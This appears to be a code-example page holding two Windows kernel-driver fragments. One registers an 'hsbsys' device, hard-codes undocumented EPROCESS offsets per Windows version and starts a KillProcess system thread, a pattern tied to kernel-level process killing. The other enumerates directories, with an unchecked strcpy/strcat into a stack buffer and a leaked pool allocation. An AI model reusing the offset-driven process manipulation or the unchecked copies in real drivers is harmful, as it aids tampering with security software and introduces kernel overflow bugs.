	RtlInitUnicodeString(&Win32Device,L"\\DosDevices\\hsbsys0");

	for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
		DriverObject->MajorFunction[i] = hsbsysDefaultHandler;

	DriverObject->MajorFunction[IRP_MJ_CREATE] = hsbsysCreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = hsbsysCreateClose;
	
	DriverObject->DriverUnload = hsbsysUnload;
	status = IoCreateDevice(DriverObject,
							0,
							&DeviceName,
							FILE_DEVICE_UNKNOWN,
							0,
							FALSE,
							&DeviceObject);
	if (!NT_SUCCESS(status))
		return status;
	if (!DeviceObject)
		return STATUS_UNEXPECTED_IO_ERROR;

	DeviceObject->Flags |= DO_DIRECT_IO;
	DeviceObject->AlignmentRequirement = FILE_WORD_ALIGNMENT;
	status = IoCreateSymbolicLink(&Win32Device, &DeviceName);

	RtlZeroMemory(pszstr,512);
	osv.dwOSVersionInfoSize=sizeof(RTL_OSVERSIONINFOW); 
	RtlGetVersion(&osv);
	RtlStringCbPrintfA(pszstr,512,"%d.%d",osv.dwMajorVersion,osv.dwMinorVersion);
	RtlInitAnsiString(&str_a0,pszstr);
	RtlInitAnsiString(&str_a1,"5.1");
	if (RtlCompareString(&str_a0,&str_a1,TRUE)==0) //xpsp3
	{
		eprooffset.ImageFileName=0x174;
		eprooffset.SE_AUDIT_PROCESS_CREATION_INFO=0x1f4;
		eprooffset.ActiveProcessLinks=0x088;
	}
	RtlInitAnsiString(&str_a1,"5.2");
	if (RtlCompareString(&str_a0,&str_a1,TRUE)==0) //2003
	{
		eprooffset.ImageFileName=0x164;
		eprooffset.SE_AUDIT_PROCESS_CREATION_INFO=0x1e4;
		eprooffset.ActiveProcessLinks=0x098;
	}
	RtlInitAnsiString(&str_a1,"6.1");
	if (RtlCompareString(&str_a0,&str_a1,TRUE)==0) //win7
	{
		eprooffset.ImageFileName=0x16c;
		eprooffset.SE_AUDIT_PROCESS_CREATION_INFO=0x1ec;
		eprooffset.ActiveProcessLinks=0x0b8;
	}
	PsCreateSystemThread(&thhandle,0,NULL,NULL,NULL,KillProcess,NULL);

	DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
	return STATUS_SUCCESS;
}
Exemplo n.º 30
-2
EXTERN_C NTSTATUS EnumDirectory( char *lpDirName )
{
	NTSTATUS status, fStatus; 
	ULONG dwBytesReturned; 
	OBJECT_ATTRIBUTES objectAttributes; 
	PDEVICE_OBJECT lpDeviceObject;
	IO_STACK_LOCATION iost; 
	PIO_STACK_LOCATION lpsp; 
	IO_STATUS_BLOCK IoStatus; 
	HANDLE hFile = NULL;
	PFILE_DIRECTORY_INFORMATION lpInformation; 
	PDIRECTORY_INFO lpDirInfo = NULL, lpPreDirInfo = NULL; 
	PFILE_OBJECT lpFileObject = NULL;
	UNICODE_STRING unFileName;
	ANSI_STRING anFileName;
	HANDLE  eventHandle = NULL;
	CHAR buffer[1024]; 
	PUCHAR lpNext;

	dwBytesReturned = 0; 
	status = STATUS_UNSUCCESSFUL; 
	RtlZeroMemory(buffer,1024); 
	strcpy(buffer,"\\DosDevices\\"); 
	strcat(buffer,lpDirName); 
	RtlInitAnsiString(&anFileName,buffer); 
	RtlAnsiStringToUnicodeString(&unFileName,&anFileName,TRUE); 
	InitializeObjectAttributes(&objectAttributes,&unFileName,OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE,NULL,NULL);

	__try
	{
		//打开文件
		fStatus = ZwOpenFile(&hFile,\
			FILE_LIST_DIRECTORY | SYNCHRONIZE | FILE_ANY_ACCESS,\
			&objectAttributes,\
			&IoStatus,\
			FILE_SHARE_READ | FILE_SHARE_WRITE| FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);

		ObReferenceObjectByHandle(hFile, FILE_LIST_DIRECTORY | SYNCHRONIZE, 0, KernelMode, (PVOID *)&lpFileObject, NULL); 

		status = ZwCreateEvent(&eventHandle, GENERIC_ALL, 0, NotificationEvent,
			FALSE);

		lpInformation = (PFILE_DIRECTORY_INFORMATION)ExAllocatePool(PagedPool, 655350); 
		status = ZwQueryDirectoryFile(hFile, eventHandle,0, 0, &IoStatus,
			lpInformation, 655350,
			FileDirectoryInformation, FALSE, NULL,
			FALSE );

		if (!NT_SUCCESS(status) && status != STATUS_PENDING)
		{
			goto LeaveBefore;
		}
		if (status == STATUS_PENDING)
		{
			KeWaitForSingleObject(eventHandle, Executive, KernelMode, TRUE, 0);
		}

		FreePagedLookasideListForDirectory();
		g_pPageListDirectory = (PPAGED_LOOKASIDE_LIST)ExAllocatePool(PagedPool, sizeof(PAGED_LOOKASIDE_LIST));
		ExInitializePagedLookasideList(g_pPageListDirectory, NULL, NULL, 0, sizeof(DIRECTORY_INFO), NULL, 0);

		while(1) 
		{
			lpDirInfo = (PDIRECTORY_INFO)ExAllocateFromPagedLookasideList(g_pPageListDirectory);
			RtlZeroMemory(lpDirInfo, sizeof(DIRECTORY_INFO));

			RtlCopyMemory(lpDirInfo->FileName, lpInformation->FileName, lpInformation->FileNameLength);
			lpDirInfo->AllocationSize = lpInformation->AllocationSize;
			lpDirInfo->FileAttributes = lpInformation->FileAttributes;
			RtlTimeToTimeFields(&(lpInformation->CreationTime), &(lpDirInfo->CreationTime)); 
			RtlTimeToTimeFields(&(lpInformation->LastAccessTime), &(lpDirInfo->LastAccessTime));  
			RtlTimeToTimeFields(&(lpInformation->LastWriteTime), &(lpDirInfo->LastWriteTime));  
			RtlTimeToTimeFields(&(lpInformation->ChangeTime), &(lpDirInfo->ChangeTime));
			lpDirInfo->next = NULL;

			if (NULL == g_pDirectoryInfo)
			{
				g_pDirectoryInfo = lpDirInfo;
				lpPreDirInfo = lpDirInfo;
			}
			else
			{
				lpPreDirInfo->next = lpDirInfo;
				lpPreDirInfo = lpDirInfo;
			}

			if(!lpInformation->NextEntryOffset)
			{
				break;
			}

			lpInformation = (PFILE_DIRECTORY_INFORMATION)((PUCHAR)lpInformation + lpInformation->NextEntryOffset);

		} 
LeaveBefore:
		;
	}
	__finally
	{
		if (NT_SUCCESS(fStatus))
		{
			ZwClose(hFile);
		}
		if (NULL != lpFileObject)
		{
			ObDereferenceObject(lpFileObject);
			lpFileObject = NULL;
		}
		if (NULL != eventHandle)
		{
			ZwClose(eventHandle);
			eventHandle = NULL;
		}

	}

	return status;               
}